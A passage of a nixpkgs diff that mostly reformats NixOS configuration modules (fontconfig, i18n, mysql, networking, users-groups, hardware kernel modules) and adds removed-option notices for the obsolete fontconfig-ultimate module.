+      [ "fonts" "fontconfig" "ultimate" "allowType1" ]
+      [ "fonts" "fontconfig" "allowType1" ]
+    )
+    (lib.mkRenamedOptionModule
+      [ "fonts" "fontconfig" "ultimate" "useEmbeddedBitmaps" ]
+      [ "fonts" "fontconfig" "useEmbeddedBitmaps" ]
+    )
+    (lib.mkRenamedOptionModule
+      [ "fonts" "fontconfig" "ultimate" "forceAutohint" ]
+      [ "fonts" "fontconfig" "forceAutohint" ]
+    )
+    (lib.mkRenamedOptionModule
+      [ "fonts" "fontconfig" "ultimate" "renderMonoTTFAsBitmap" ]
+      [ "fonts" "fontconfig" "renderMonoTTFAsBitmap" ]
+    )
+    (lib.mkRemovedOptionModule [ "fonts" "fontconfig" "forceAutohint" ] "")
+    (lib.mkRemovedOptionModule [ "fonts" "fontconfig" "renderMonoTTFAsBitmap" ] "")
+    (lib.mkRemovedOptionModule [ "fonts" "fontconfig" "dpi" ] "Use display server-specific options")
+    (lib.mkRemovedOptionModule [ "hardware" "video" "hidpi" "enable" ] fontconfigNote)
+    (lib.mkRemovedOptionModule [ "fonts" "optimizeForVeryHighDPI" ] fontconfigNote)
+  ]
+  ++ lib.forEach [ "enable" "substitutions" "preset" ] (
+    opt:
+    lib.mkRemovedOptionModule [ "fonts" "fontconfig" "ultimate" "${opt}" ] ''
+      The fonts.fontconfig.ultimate module and configuration is obsolete.
+      The repository has since been archived and activity has ceased.
+      https://github.com/bohoomil/fontconfig-ultimate/issues/171.
+      No action should be needed for font configuration, as the fonts.fontconfig
+      module is already used by default.
+    ''
+  );
 
   options = {
 
diff --git a/nixos/modules/config/i18n.nix b/nixos/modules/config/i18n.nix
index 67b0e2a897af..1e6c35a4ea31 100644
--- a/nixos/modules/config/i18n.nix
+++ b/nixos/modules/config/i18n.nix
@@ -7,20 +7,19 @@
 let
   sanitizeUTF8Capitalization =
     lang: (lib.replaceStrings [ "utf8" "utf-8" "UTF8" ] [ "UTF-8" "UTF-8" "UTF-8" ] lang);
-  aggregatedLocales =
-    [
-      "${config.i18n.defaultLocale}/${config.i18n.defaultCharset}"
-    ]
-    ++ lib.pipe config.i18n.extraLocaleSettings [
-      # See description of extraLocaleSettings for why is this ignored here.
-      (lib.filterAttrs (n: v: n != "LANGUAGE"))
-      (lib.mapAttrs (n: v: (sanitizeUTF8Capitalization v)))
-      (lib.mapAttrsToList (LCRole: lang: lang + "/" + (config.i18n.localeCharsets.${LCRole} or "UTF-8")))
-    ]
-    ++ (builtins.map sanitizeUTF8Capitalization (
-      lib.optionals (builtins.isList config.i18n.extraLocales) config.i18n.extraLocales
-    ))
-    ++ (lib.optional (builtins.isString config.i18n.extraLocales) config.i18n.extraLocales);
+  aggregatedLocales = [
+    "${config.i18n.defaultLocale}/${config.i18n.defaultCharset}"
+  ]
+  ++ lib.pipe config.i18n.extraLocaleSettings [
+    # See description of extraLocaleSettings for why is this ignored here.
+    (lib.filterAttrs (n: v: n != "LANGUAGE"))
+    (lib.mapAttrs (n: v: (sanitizeUTF8Capitalization v)))
+    (lib.mapAttrsToList (LCRole: lang: lang + "/" + (config.i18n.localeCharsets.${LCRole} or "UTF-8")))
+  ]
+  ++ (builtins.map sanitizeUTF8Capitalization (
+    lib.optionals (builtins.isList config.i18n.extraLocales) config.i18n.extraLocales
+  ))
+  ++ (lib.optional (builtins.isString config.i18n.extraLocales) config.i18n.extraLocales);
 in
 {
   ###### interface
@@ -171,7 +170,8 @@ in
     environment.sessionVariables = {
       LANG = config.i18n.defaultLocale;
       LOCALE_ARCHIVE = "/run/current-system/sw/lib/locale/locale-archive";
-    } // config.i18n.extraLocaleSettings;
+    }
+    // config.i18n.extraLocaleSettings;
 
     systemd.globalEnvironment = lib.mkIf (config.i18n.supportedLocales != [ ]) {
       LOCALE_ARCHIVE = "${config.i18n.glibcLocales}/lib/locale/locale-archive";
diff --git a/nixos/modules/config/locale.nix b/nixos/modules/config/locale.nix
index cb4115a57e86..395a25f537be 100644
--- a/nixos/modules/config/locale.nix
+++ b/nixos/modules/config/locale.nix
@@ -90,14 +90,13 @@ in
       NIXOS_STATIC_TIMEZONE = "1";
     };
 
-    environment.etc =
-      {
-        zoneinfo.source = tzdir;
-      }
-      // lib.optionalAttrs (config.time.timeZone != null) {
-        localtime.source = "/etc/zoneinfo/${config.time.timeZone}";
-        localtime.mode = "direct-symlink";
-      };
+    environment.etc = {
+      zoneinfo.source = tzdir;
+    }
+    // lib.optionalAttrs (config.time.timeZone != null) {
+      localtime.source = "/etc/zoneinfo/${config.time.timeZone}";
+      localtime.mode = "direct-symlink";
+    };
   };
 
 }
diff --git a/nixos/modules/config/mysql.nix b/nixos/modules/config/mysql.nix
index 5cbd313d4c60..201bbf7faa17 100644
--- a/nixos/modules/config/mysql.nix
+++ b/nixos/modules/config/mysql.nix
@@ -380,40 +380,39 @@ in
       group = "root";
       mode = "0600";
       # password will be added from password file in systemd oneshot
-      text =
-        ''
-          users.host=${cfg.host}
-          users.db_user=${cfg.user}
-          users.database=${cfg.database}
-          users.table=${cfg.pam.table}
-          users.user_column=${cfg.pam.userColumn}
-          users.password_column=${cfg.pam.passwordColumn}
-          users.password_crypt=${cfg.pam.passwordCrypt}
-          users.disconnect_every_operation=${if cfg.pam.disconnectEveryOperation then "1" else "0"}
-          verbose=${if cfg.pam.verbose then "1" else "0"}
-        ''
-        + lib.optionalString (cfg.pam.cryptDefault != null) ''
-          users.use_${cfg.pam.cryptDefault}=1
-        ''
-        + lib.optionalString (cfg.pam.where != null) ''
-          users.where_clause=${cfg.pam.where}
-        ''
-        + lib.optionalString (cfg.pam.statusColumn != null) ''
-          users.status_column=${cfg.pam.statusColumn}
-        ''
-        + lib.optionalString (cfg.pam.updateTable != null) ''
-          users.update_table=${cfg.pam.updateTable}
-        ''
-        + lib.optionalString cfg.pam.logging.enable ''
-          log.enabled=true
-          log.table=${cfg.pam.logging.table}
-          log.message_column=${cfg.pam.logging.msgColumn}
-          log.pid_column=${cfg.pam.logging.pidColumn}
-          log.user_column=${cfg.pam.logging.userColumn}
-          log.host_column=${cfg.pam.logging.hostColumn}
-          log.rhost_column=${cfg.pam.logging.rHostColumn}
-          log.time_column=${cfg.pam.logging.timeColumn}
-        '';
+      text = ''
+        users.host=${cfg.host}
+        users.db_user=${cfg.user}
+        users.database=${cfg.database}
+        users.table=${cfg.pam.table}
+        users.user_column=${cfg.pam.userColumn}
+        users.password_column=${cfg.pam.passwordColumn}
+        users.password_crypt=${cfg.pam.passwordCrypt}
+        users.disconnect_every_operation=${if cfg.pam.disconnectEveryOperation then "1" else "0"}
+        verbose=${if cfg.pam.verbose then "1" else "0"}
+      ''
+      + lib.optionalString (cfg.pam.cryptDefault != null) ''
+        users.use_${cfg.pam.cryptDefault}=1
+      ''
+      + lib.optionalString (cfg.pam.where != null) ''
+        users.where_clause=${cfg.pam.where}
+      ''
+      + lib.optionalString (cfg.pam.statusColumn != null) ''
+        users.status_column=${cfg.pam.statusColumn}
+      ''
+      + lib.optionalString (cfg.pam.updateTable != null) ''
+        users.update_table=${cfg.pam.updateTable}
+      ''
+      + lib.optionalString cfg.pam.logging.enable ''
+        log.enabled=true
+        log.table=${cfg.pam.logging.table}
+        log.message_column=${cfg.pam.logging.msgColumn}
+        log.pid_column=${cfg.pam.logging.pidColumn}
+        log.user_column=${cfg.pam.logging.userColumn}
+        log.host_column=${cfg.pam.logging.hostColumn}
+        log.rhost_column=${cfg.pam.logging.rHostColumn}
+        log.time_column=${cfg.pam.logging.timeColumn}
+      '';
     };
 
     environment.etc."libnss-mysql.cfg" = {
diff --git a/nixos/modules/config/networking.nix b/nixos/modules/config/networking.nix
index 7c2b42aeffae..c71147c4f72a 100644
--- a/nixos/modules/config/networking.nix
+++ b/nixos/modules/config/networking.nix
@@ -206,30 +206,29 @@ in
         extraHosts
       ];
 
-    environment.etc =
-      {
-        # /etc/services: TCP/UDP port assignments.
-        services.source = pkgs.iana-etc + "/etc/services";
+    environment.etc = {
+      # /etc/services: TCP/UDP port assignments.
+      services.source = pkgs.iana-etc + "/etc/services";
 
-        # /etc/protocols: IP protocol numbers.
-        protocols.source = pkgs.iana-etc + "/etc/protocols";
+      # /etc/protocols: IP protocol numbers.
+      protocols.source = pkgs.iana-etc + "/etc/protocols";
 
-        # /etc/hosts: Hostname-to-IP mappings.
-        hosts.source = pkgs.concatText "hosts" cfg.hostFiles;
+      # /etc/hosts: Hostname-to-IP mappings.
+      hosts.source = pkgs.concatText "hosts" cfg.hostFiles;
 
-        # /etc/netgroup: Network-wide groups.
-        netgroup.text = lib.mkDefault "";
+      # /etc/netgroup: Network-wide groups.
+      netgroup.text = lib.mkDefault "";
 
-        # /etc/host.conf: resolver configuration file
-        "host.conf".text = ''
-          multi on
-        '';
+      # /etc/host.conf: resolver configuration file
+      "host.conf".text = ''
+        multi on
+      '';
 
-      }
-      // lib.optionalAttrs (pkgs.stdenv.hostPlatform.libc == "glibc") {
-        # /etc/rpc: RPC program numbers.
-        rpc.source = pkgs.stdenv.cc.libc.out + "/etc/rpc";
-      };
+    }
+    // lib.optionalAttrs (pkgs.stdenv.hostPlatform.libc == "glibc") {
+      # /etc/rpc: RPC program numbers.
+      rpc.source = pkgs.stdenv.cc.libc.out + "/etc/rpc";
+    };
 
     networking.proxy.envVars =
       lib.optionalAttrs (cfg.proxy.default != null) {
diff --git a/nixos/modules/config/nix-remote-build.nix b/nixos/modules/config/nix-remote-build.nix
index 4786fef31d06..9a276aa29d07 100644
--- a/nixos/modules/config/nix-remote-build.nix
+++ b/nixos/modules/config/nix-remote-build.nix
@@ -235,14 +235,13 @@ in
       [
         {
           assertion = !(any badMachine cfg.buildMachines);
-          message =
-            ''
-              At least one system type (via <varname>system</varname> or
-                <varname>systems</varname>) must be set for every build machine.
-                Invalid machine specifications:
-            ''
-            + "      "
-            + (concatStringsSep "\n      " (map (m: m.hostName) (filter (badMachine) cfg.buildMachines)));
+          message = ''
+            At least one system type (via <varname>system</varname> or
+              <varname>systems</varname>) must be set for every build machine.
+              Invalid machine specifications:
+          ''
+          + "      "
+          + (concatStringsSep "\n      " (map (m: m.hostName) (filter (badMachine) cfg.buildMachines)));
         }
       ];
 
diff --git a/nixos/modules/config/nix.nix b/nixos/modules/config/nix.nix
index 0a469f97678b..48ac45323750 100644
--- a/nixos/modules/config/nix.nix
+++ b/nixos/modules/config/nix.nix
@@ -50,20 +50,19 @@ let
 
   isNixAtLeast = versionAtLeast (getVersion nixPackage);
 
-  defaultSystemFeatures =
-    [
-      "nixos-test"
-      "benchmark"
-      "big-parallel"
-      "kvm"
-    ]
-    ++ optionals (pkgs.stdenv.hostPlatform ? gcc.arch) (
-      # a builder can run code for `gcc.arch` and inferior architectures
-      [ "gccarch-${pkgs.stdenv.hostPlatform.gcc.arch}" ]
-      ++ map (x: "gccarch-${x}") (
-        systems.architectures.inferiors.${pkgs.stdenv.hostPlatform.gcc.arch} or [ ]
-      )
-    );
+  defaultSystemFeatures = [
+    "nixos-test"
+    "benchmark"
+    "big-parallel"
+    "kvm"
+  ]
+  ++ optionals (pkgs.stdenv.hostPlatform ? gcc.arch) (
+    # a builder can run code for `gcc.arch` and inferior architectures
+    [ "gccarch-${pkgs.stdenv.hostPlatform.gcc.arch}" ]
+    ++ map (x: "gccarch-${x}") (
+      systems.architectures.inferiors.${pkgs.stdenv.hostPlatform.gcc.arch} or [ ]
+    )
+  );
 
   legacyConfMappings = {
     useSandbox = "sandbox";
@@ -170,46 +169,45 @@ let
 
 in
 {
-  imports =
-    [
-      (mkRenamedOptionModuleWith {
-        sinceRelease = 2003;
-        from = [
-          "nix"
-          "useChroot"
-        ];
-        to = [
-          "nix"
-          "useSandbox"
-        ];
-      })
-      (mkRenamedOptionModuleWith {
-        sinceRelease = 2003;
-        from = [
-          "nix"
-          "chrootDirs"
-        ];
-        to = [
-          "nix"
-          "sandboxPaths"
-        ];
-      })
-    ]
-    ++ mapAttrsToList (
-      oldConf: newConf:
-      mkRenamedOptionModuleWith {
-        sinceRelease = 2205;
-        from = [
-          "nix"
-          oldConf
-        ];
-        to = [
-          "nix"
-          "settings"
-          newConf
-        ];
-      }
-    ) legacyConfMappings;
+  imports = [
+    (mkRenamedOptionModuleWith {
+      sinceRelease = 2003;
+      from = [
+        "nix"
+        "useChroot"
+      ];
+      to = [
+        "nix"
+        "useSandbox"
+      ];
+    })
+    (mkRenamedOptionModuleWith {
+      sinceRelease = 2003;
+      from = [
+        "nix"
+        "chrootDirs"
+      ];
+      to = [
+        "nix"
+        "sandboxPaths"
+      ];
+    })
+  ]
+  ++ mapAttrsToList (
+    oldConf: newConf:
+    mkRenamedOptionModuleWith {
+      sinceRelease = 2205;
+      from = [
+        "nix"
+        oldConf
+      ];
+      to = [
+        "nix"
+        "settings"
+        newConf
+      ];
+    }
+  ) legacyConfMappings;
 
   options = {
     nix = {
diff --git a/nixos/modules/config/resolvconf.nix b/nixos/modules/config/resolvconf.nix
index f9c9d04b3fbe..3ec0654dfc02 100644
--- a/nixos/modules/config/resolvconf.nix
+++ b/nixos/modules/config/resolvconf.nix
@@ -15,27 +15,26 @@ let
     ++ lib.optional cfg.dnsExtensionMechanism "edns0"
     ++ lib.optional cfg.useLocalResolver "trust-ad";
 
-  configText =
-    ''
-      # This is the default, but we must set it here to prevent
-      # a collision with an apparently unrelated environment
-      # variable with the same name exported by dhcpcd.
-      interface_order='lo lo[0-9]*'
-    ''
-    + lib.optionalString config.services.nscd.enable ''
-      # Invalidate the nscd cache whenever resolv.conf is
-      # regenerated.
-      libc_restart='/run/current-system/systemd/bin/systemctl try-restart --no-block nscd.service 2> /dev/null'
-    ''
-    + lib.optionalString (lib.length resolvconfOptions > 0) ''
-      # Options as described in resolv.conf(5)
-      resolv_conf_options='${lib.concatStringsSep " " resolvconfOptions}'
-    ''
-    + lib.optionalString cfg.useLocalResolver ''
-      # This hosts runs a full-blown DNS resolver.
-      name_servers='127.0.0.1${lib.optionalString config.networking.enableIPv6 " ::1"}'
-    ''
-    + cfg.extraConfig;
+  configText = ''
+    # This is the default, but we must set it here to prevent
+    # a collision with an apparently unrelated environment
+    # variable with the same name exported by dhcpcd.
+    interface_order='lo lo[0-9]*'
+  ''
+  + lib.optionalString config.services.nscd.enable ''
+    # Invalidate the nscd cache whenever resolv.conf is
+    # regenerated.
+    libc_restart='/run/current-system/systemd/bin/systemctl try-restart --no-block nscd.service 2> /dev/null'
+  ''
+  + lib.optionalString (lib.length resolvconfOptions > 0) ''
+    # Options as described in resolv.conf(5)
+    resolv_conf_options='${lib.concatStringsSep " " resolvconfOptions}'
+  ''
+  + lib.optionalString cfg.useLocalResolver ''
+    # This hosts runs a full-blown DNS resolver.
+    name_servers='127.0.0.1${lib.optionalString config.networking.enableIPv6 " ::1"}'
+  ''
+  + cfg.extraConfig;
 
 in
 
diff --git a/nixos/modules/config/swap.nix b/nixos/modules/config/swap.nix
index 20db5f8a40a4..c2d1777f4e7b 100644
--- a/nixos/modules/config/swap.nix
+++ b/nixos/modules/config/swap.nix
@@ -285,7 +285,8 @@ in
             path = [
               pkgs.util-linux
               pkgs.e2fsprogs
-            ] ++ lib.optional sw.randomEncryption.enable pkgs.cryptsetup;
+            ]
+            ++ lib.optional sw.randomEncryption.enable pkgs.cryptsetup;
 
             environment.DEVICE = sw.device;
 
diff --git a/nixos/modules/config/users-groups.nix b/nixos/modules/config/users-groups.nix
index 636ff2655a65..e6f855c374e2 100644
--- a/nixos/modules/config/users-groups.nix
+++ b/nixos/modules/config/users-groups.nix
@@ -1036,176 +1036,174 @@ in
         };
       };
 
-      assertions =
-        [
-          {
-            assertion = !cfg.enforceIdUniqueness || (uidsAreUnique && gidsAreUnique);
-            message = "UIDs and GIDs must be unique!";
-          }
-          {
-            assertion = !cfg.enforceIdUniqueness || (sdInitrdUidsAreUnique && sdInitrdGidsAreUnique);
-            message = "systemd initrd UIDs and GIDs must be unique!";
-          }
-          {
-            assertion = usersWithoutExistingGroup == { };
-            message =
-              let
-                errUsers = lib.attrNames usersWithoutExistingGroup;
-                missingGroups = lib.unique (lib.mapAttrsToList (n: u: u.group) usersWithoutExistingGroup);
-                mkConfigHint = group: "users.groups.${group} = {};";
-              in
-              ''
-                The following users have a primary group that is undefined: ${lib.concatStringsSep " " errUsers}
-                Hint: Add this to your NixOS configuration:
-                  ${lib.concatStringsSep "\n  " (map mkConfigHint missingGroups)}
-              '';
-          }
-          {
-            assertion = !cfg.mutableUsers -> length usersWithNullShells == 0;
-            message = ''
-              users.mutableUsers = false has been set,
-              but found users that have their shell set to null.
-              If you wish to disable login, set their shell to pkgs.shadow (the default).
-              Misconfigured users: ${lib.concatStringsSep " " usersWithNullShells}
+      assertions = [
+        {
+          assertion = !cfg.enforceIdUniqueness || (uidsAreUnique && gidsAreUnique);
+          message = "UIDs and GIDs must be unique!";
+        }
+        {
+          assertion = !cfg.enforceIdUniqueness || (sdInitrdUidsAreUnique && sdInitrdGidsAreUnique);
+          message = "systemd initrd UIDs and GIDs must be unique!";
+        }
+        {
+          assertion = usersWithoutExistingGroup == { };
+          message =
+            let
+              errUsers = lib.attrNames usersWithoutExistingGroup;
+              missingGroups = lib.unique (lib.mapAttrsToList (n: u: u.group) usersWithoutExistingGroup);
+              mkConfigHint = group: "users.groups.${group} = {};";
+            in
+            ''
+              The following users have a primary group that is undefined: ${lib.concatStringsSep " " errUsers}
+              Hint: Add this to your NixOS configuration:
+                ${lib.concatStringsSep "\n  " (map mkConfigHint missingGroups)}
             '';
-          }
-          {
-            # If mutableUsers is false, to prevent users creating a
-            # configuration that locks them out of the system, ensure that
-            # there is at least one "privileged" account that has a
-            # password or an SSH authorized key. Privileged accounts are
-            # root and users in the wheel group.
-            # The check does not apply when users.allowNoPasswordLogin
-            # The check does not apply when users.mutableUsers
-            assertion =
-              !cfg.mutableUsers
-              -> !cfg.allowNoPasswordLogin
-              -> any id (
-                mapAttrsToList (
-                  name: cfg:
-                  (name == "root" || cfg.group == "wheel" || elem "wheel" cfg.extraGroups)
-                  && (
-                    allowsLogin cfg.hashedPassword
-                    || cfg.password != null
-                    || cfg.hashedPasswordFile != null
-                    || cfg.openssh.authorizedKeys.keys != [ ]
-                    || cfg.openssh.authorizedKeys.keyFiles != [ ]
-                  )
-                ) cfg.users
-                ++ [
-                  config.security.googleOsLogin.enable
-                ]
-              );
-            message = ''
-              Neither the root account nor any wheel user has a password or SSH authorized key.
-              You must set one to prevent being locked out of your system.
-              If you really want to be locked out of your system, set users.allowNoPasswordLogin = true;
-              However you are most probably better off by setting users.mutableUsers = true; and
-              manually running passwd root to set the root password.
-            '';
-          }
-        ]
-        ++ flatten (
-          flip mapAttrsToList cfg.users (
-            name: user:
-            [
-              (
-                let
-                  # Things fail in various ways with especially non-ascii usernames.
-                  # This regex mirrors the one from shadow's is_valid_name:
-                  # https://github.com/shadow-maint/shadow/blob/bee77ffc291dfed2a133496db465eaa55e2b0fec/lib/chkname.c#L68
-                  # though without the trailing $, because Samba 3 got its last release
-                  # over 10 years ago and is not in Nixpkgs anymore,
-                  # while later versions don't appear to require anything like that.
-                  nameRegex = "[a-zA-Z0-9_.][a-zA-Z0-9_.-]*";
-                in
-                {
-                  assertion = builtins.match nameRegex user.name != null;
-                  message = "The username \"${user.name}\" is not valid, it does not match the regex \"${nameRegex}\".";
-                }
-              )
-              {
-                assertion = (user.hashedPassword != null) -> (match ".*:.*" user.hashedPassword == null);
-                message = ''
-                  The password hash of user "${user.name}" contains a ":" character.
-                  This is invalid and would break the login system because the fields
-                  of /etc/shadow (file where hashes are stored) are colon-separated.
-                  Please check the value of option `users.users."${user.name}".hashedPassword`.'';
-              }
-              {
-                assertion = user.isNormalUser && user.uid != null -> user.uid >= 1000;
-                message = ''
-                  A user cannot have a users.users.${user.name}.uid set below 1000 and set users.users.${user.name}.isNormalUser.
-                  Either users.users.${user.name}.isSystemUser must be set to true instead of users.users.${user.name}.isNormalUser
-                  or users.users.${user.name}.uid must be changed to 1000 or above.
-                '';
-              }
-              {
-                assertion =
-                  let
-                    # we do an extra check on isNormalUser here, to not trigger this assertion when isNormalUser is set and uid to < 1000
-                    isEffectivelySystemUser =
-                      user.isSystemUser || (user.uid != null && user.uid < 1000 && !user.isNormalUser);
-                  in
-                  xor isEffectivelySystemUser user.isNormalUser;
-                message = ''
-                  Exactly one of users.users.${user.name}.isSystemUser and users.users.${user.name}.isNormalUser must be set.
-                '';
-              }
-              {
-                assertion = user.group != "";
-                message = ''
-                  users.users.${user.name}.group is unset. This used to default to
-                  nogroup, but this is unsafe. For example you can create a group
-                  for this user with:
-                  users.users.${user.name}.group = "${user.name}";
-                  users.groups.${user.name} = {};
-                '';
-              }
-            ]
-            ++ (map
-              (shell: {
-                assertion =
-                  !user.ignoreShellProgramCheck
-                  -> (user.shell == pkgs.${shell})
-                  -> (config.programs.${shell}.enable == true);
-                message = ''
-                  users.users.${user.name}.shell is set to ${shell}, but
-                  programs.${shell}.enable is not true. This will cause the ${shell}
-                  shell to lack the basic nix directories in its PATH and might make
-                  logging in as that user impossible. You can fix it with:
-                  programs.${shell}.enable = true;
-
-                  If you know what you're doing and you are fine with the behavior,
-                  set users.users.${user.name}.ignoreShellProgramCheck = true;
-                  instead.
-                '';
-              })
-              [
-                "fish"
-                "xonsh"
-                "zsh"
+        }
+        {
+          assertion = !cfg.mutableUsers -> length usersWithNullShells == 0;
+          message = ''
+            users.mutableUsers = false has been set,
+            but found users that have their shell set to null.
+            If you wish to disable login, set their shell to pkgs.shadow (the default).
+            Misconfigured users: ${lib.concatStringsSep " " usersWithNullShells}
+          '';
+        }
+        {
+          # If mutableUsers is false, to prevent users creating a
+          # configuration that locks them out of the system, ensure that
+          # there is at least one "privileged" account that has a
+          # password or an SSH authorized key. Privileged accounts are
+          # root and users in the wheel group.
+          # The check does not apply when users.allowNoPasswordLogin
+          # The check does not apply when users.mutableUsers
+          assertion =
+            !cfg.mutableUsers
+            -> !cfg.allowNoPasswordLogin
+            -> any id (
+              mapAttrsToList (
+                name: cfg:
+                (name == "root" || cfg.group == "wheel" || elem "wheel" cfg.extraGroups)
+                && (
+                  allowsLogin cfg.hashedPassword
+                  || cfg.password != null
+                  || cfg.hashedPasswordFile != null
+                  || cfg.openssh.authorizedKeys.keys != [ ]
+                  || cfg.openssh.authorizedKeys.keyFiles != [ ]
+                )
+              ) cfg.users
+              ++ [
+                config.security.googleOsLogin.enable
               ]
+            );
+          message = ''
+            Neither the root account nor any wheel user has a password or SSH authorized key.
+            You must set one to prevent being locked out of your system.
+            If you really want to be locked out of your system, set users.allowNoPasswordLogin = true;
+            However you are most probably better off by setting users.mutableUsers = true; and
+            manually running passwd root to set the root password.
+          '';
+        }
+      ]
+      ++ flatten (
+        flip mapAttrsToList cfg.users (
+          name: user:
+          [
+            (
+              let
+                # Things fail in various ways with especially non-ascii usernames.
+                # This regex mirrors the one from shadow's is_valid_name:
+                # https://github.com/shadow-maint/shadow/blob/bee77ffc291dfed2a133496db465eaa55e2b0fec/lib/chkname.c#L68
+                # though without the trailing $, because Samba 3 got its last release
+                # over 10 years ago and is not in Nixpkgs anymore,
+                # while later versions don't appear to require anything like that.
+                nameRegex = "[a-zA-Z0-9_.][a-zA-Z0-9_.-]*";
+              in
+              {
+                assertion = builtins.match nameRegex user.name != null;
+                message = "The username \"${user.name}\" is not valid, it does not match the regex \"${nameRegex}\".";
+              }
             )
+            {
+              assertion = (user.hashedPassword != null) -> (match ".*:.*" user.hashedPassword == null);
+              message = ''
+                The password hash of user "${user.name}" contains a ":" character.
+                This is invalid and would break the login system because the fields
+                of /etc/shadow (file where hashes are stored) are colon-separated.
+                Please check the value of option `users.users."${user.name}".hashedPassword`.'';
+            }
+            {
+              assertion = user.isNormalUser && user.uid != null -> user.uid >= 1000;
+              message = ''
+                A user cannot have a users.users.${user.name}.uid set below 1000 and set users.users.${user.name}.isNormalUser.
+                Either users.users.${user.name}.isSystemUser must be set to true instead of users.users.${user.name}.isNormalUser
+                or users.users.${user.name}.uid must be changed to 1000 or above.
+              '';
+            }
+            {
+              assertion =
+                let
+                  # we do an extra check on isNormalUser here, to not trigger this assertion when isNormalUser is set and uid to < 1000
+                  isEffectivelySystemUser =
+                    user.isSystemUser || (user.uid != null && user.uid < 1000 && !user.isNormalUser);
+                in
+                xor isEffectivelySystemUser user.isNormalUser;
+              message = ''
+                Exactly one of users.users.${user.name}.isSystemUser and users.users.${user.name}.isNormalUser must be set.
+              '';
+            }
+            {
+              assertion = user.group != "";
+              message = ''
+                users.users.${user.name}.group is unset. This used to default to
+                nogroup, but this is unsafe. For example you can create a group
+                for this user with:
+                users.users.${user.name}.group = "${user.name}";
+                users.groups.${user.name} = {};
+              '';
+            }
+          ]
+          ++ (map
+            (shell: {
+              assertion =
+                !user.ignoreShellProgramCheck
+                -> (user.shell == pkgs.${shell})
+                -> (config.programs.${shell}.enable == true);
+              message = ''
+                users.users.${user.name}.shell is set to ${shell}, but
+                programs.${shell}.enable is not true. This will cause the ${shell}
+                shell to lack the basic nix directories in its PATH and might make
+                logging in as that user impossible. You can fix it with:
+                programs.${shell}.enable = true;
+
+                If you know what you're doing and you are fine with the behavior,
+                set users.users.${user.name}.ignoreShellProgramCheck = true;
+                instead.
+              '';
+            })
+            [
+              "fish"
+              "xonsh"
+              "zsh"
+            ]
           )
-        );
+        )
+      );
 
       warnings =
         flip concatMap (attrValues cfg.users) (
           user:
           let
-            passwordOptions =
-              [
-                "hashedPassword"
-                "hashedPasswordFile"
-                "password"
-              ]
-              ++ optionals cfg.mutableUsers [
-                # For immutable users, initialHashedPassword is set to hashedPassword,
-                # so using these options would always trigger the assertion.
-                "initialHashedPassword"
-                "initialPassword"
-              ];
+            passwordOptions = [
+              "hashedPassword"
+              "hashedPasswordFile"
+              "password"
+            ]
+            ++ optionals cfg.mutableUsers [
+              # For immutable users, initialHashedPassword is set to hashedPassword,
+              # so using these options would always trigger the assertion.
+              "initialHashedPassword"
+              "initialPassword"
+            ];
             unambiguousPasswordConfiguration =
               1 >= length (filter (x: x != null) (map (flip getAttr user) passwordOptions));
           in
diff --git a/nixos/modules/config/xdg/icons.nix b/nixos/modules/config/xdg/icons.nix
index 0deb5fbb80aa..7810c57ef386 100644
--- a/nixos/modules/config/xdg/icons.nix
+++ b/nixos/modules/config/xdg/icons.nix
@@ -34,22 +34,21 @@
       "/share/pixmaps"
     ];
 
-    environment.systemPackages =
-      [
-        # Empty icon theme that contains index.theme file describing directories
-        # where toolkits should look for icons installed by apps.
-        pkgs.hicolor-icon-theme
-      ]
-      ++ lib.optionals (config.xdg.icons.fallbackCursorThemes != [ ]) [
-        (pkgs.writeTextFile {
-          name = "fallback-cursor-theme";
-          text = ''
-            [Icon Theme]
-            Inherits=${lib.concatStringsSep "," config.xdg.icons.fallbackCursorThemes}
-          '';
-          destination = "/share/icons/default/index.theme";
-        })
-      ];
+    environment.systemPackages = [
+      # Empty icon theme that contains index.theme file describing directories
+      # where toolkits should look for icons installed by apps.
+      pkgs.hicolor-icon-theme
+    ]
+    ++ lib.optionals (config.xdg.icons.fallbackCursorThemes != [ ]) [
+      (pkgs.writeTextFile {
+        name = "fallback-cursor-theme";
+        text = ''
+          [Icon Theme]
+          Inherits=${lib.concatStringsSep "," config.xdg.icons.fallbackCursorThemes}
+        '';
+        destination = "/share/icons/default/index.theme";
+      })
+    ];
 
     # libXcursor looks for cursors in XCURSOR_PATH
     # it mostly follows the spec for icons
diff --git a/nixos/modules/hardware/all-hardware.nix b/nixos/modules/hardware/all-hardware.nix
index 6ffd8b677686..7e67cd7d43fe 100644
--- a/nixos/modules/hardware/all-hardware.nix
+++ b/nixos/modules/hardware/all-hardware.nix
@@ -22,151 +22,150 @@ in
 
     # The initrd has to contain any module that might be necessary for
     # supporting the most important parts of HW like drives.
-    boot.initrd.availableKernelModules =
-      [
-        # SATA/PATA support.
-        "ahci"
+    boot.initrd.availableKernelModules = [
+      # SATA/PATA support.
+      "ahci"
 
-        "ata_piix"
+      "ata_piix"
 
-        "sata_inic162x"
-        "sata_nv"
-        "sata_promise"
-        "sata_qstor"
-        "sata_sil"
-        "sata_sil24"
-        "sata_sis"
-        "sata_svw"
-        "sata_sx4"
-        "sata_uli"
-        "sata_via"
-        "sata_vsc"
+      "sata_inic162x"
+      "sata_nv"
+      "sata_promise"
+      "sata_qstor"
+      "sata_sil"
+      "sata_sil24"
+      "sata_sis"
+      "sata_svw"
+      "sata_sx4"
+      "sata_uli"
+      "sata_via"
+      "sata_vsc"
 
-        "pata_ali"
-        "pata_amd"
-        "pata_artop"
-        "pata_atiixp"
-        "pata_efar"
-        "pata_hpt366"
-        "pata_hpt37x"
-        "pata_hpt3x2n"
-        "pata_hpt3x3"
-        "pata_it8213"
-        "pata_it821x"
-        "pata_jmicron"
-        "pata_marvell"
-        "pata_mpiix"
-        "pata_netcell"
-        "pata_ns87410"
-        "pata_oldpiix"
-        "pata_pcmcia"
-        "pata_pdc2027x"
-        "pata_qdi"
-        "pata_rz1000"
-        "pata_serverworks"
-        "pata_sil680"
-        "pata_sis"
-        "pata_sl82c105"
-        "pata_triflex"
-        "pata_via"
-        "pata_winbond"
+      "pata_ali"
+      "pata_amd"
+      "pata_artop"
+      "pata_atiixp"
+      "pata_efar"
+      "pata_hpt366"
+      "pata_hpt37x"
+      "pata_hpt3x2n"
+      "pata_hpt3x3"
+      "pata_it8213"
+      "pata_it821x"
+      "pata_jmicron"
+      "pata_marvell"
+      "pata_mpiix"
+      "pata_netcell"
+      "pata_ns87410"
+      "pata_oldpiix"
+      "pata_pcmcia"
+      "pata_pdc2027x"
+      "pata_qdi"
+      "pata_rz1000"
+      "pata_serverworks"
+      "pata_sil680"
+      "pata_sis"
